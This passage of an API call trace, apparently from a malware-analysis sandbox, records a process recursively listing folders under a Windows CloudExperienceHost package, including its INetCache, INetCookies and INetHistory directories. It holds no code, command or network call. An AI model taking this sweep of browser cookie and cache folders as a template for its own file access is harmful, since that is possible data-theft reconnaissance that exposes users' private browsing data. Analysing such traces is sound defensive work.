FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC", cAlternateFileName="")) returned 1 [0215.540] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0215.540] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0215.540] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557f750e, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x557f750e, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x557f750e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0215.540] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x559e7456, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x559e7456, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x559e7456, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.CloudExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.0_N")) returned 1 [0215.541] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5581d776, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5581d776, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5581d776, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0215.541] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0215.541] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0215.541] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5581d776, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5581d776, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5581d776, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0215.542] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5581d776, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5581d776, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5581d776, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0215.542] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0215.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0215.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0215.542] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy", lpFilePart=0x0) returned 0x60 [0215.542] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557f750e, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x559e7456, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x559e7456, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.543] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557f750e, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x559e7456, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x559e7456, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.543] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC", cAlternateFileName="")) returned 1 [0215.543] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0215.543] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0215.544] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557f750e, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x557f750e, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x557f750e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0215.544] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x559e7456, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x559e7456, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x559e7456, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.CloudExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.0_N")) returned 1 [0215.544] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5581d776, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5581d776, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5581d776, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0215.544] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0215.544] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0215.545] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5581d776, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5581d776, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5581d776, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0215.545] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.545] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0215.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0215.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.546] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC", lpFilePart=0x0) returned 0x63 [0215.546] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.547] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.547] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0215.548] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0215.548] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0215.548] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0215.548] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0215.549] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.550] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC", lpFilePart=0x0) returned 0x63 [0215.550] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.551] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.551] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0215.551] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0215.552] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0215.552] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0215.552] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.552] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.553] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCache", lpFilePart=0x0) returned 0x6d [0215.553] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\inetcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.556] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.556] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.556] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.556] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCache", nBufferLength=0x105, 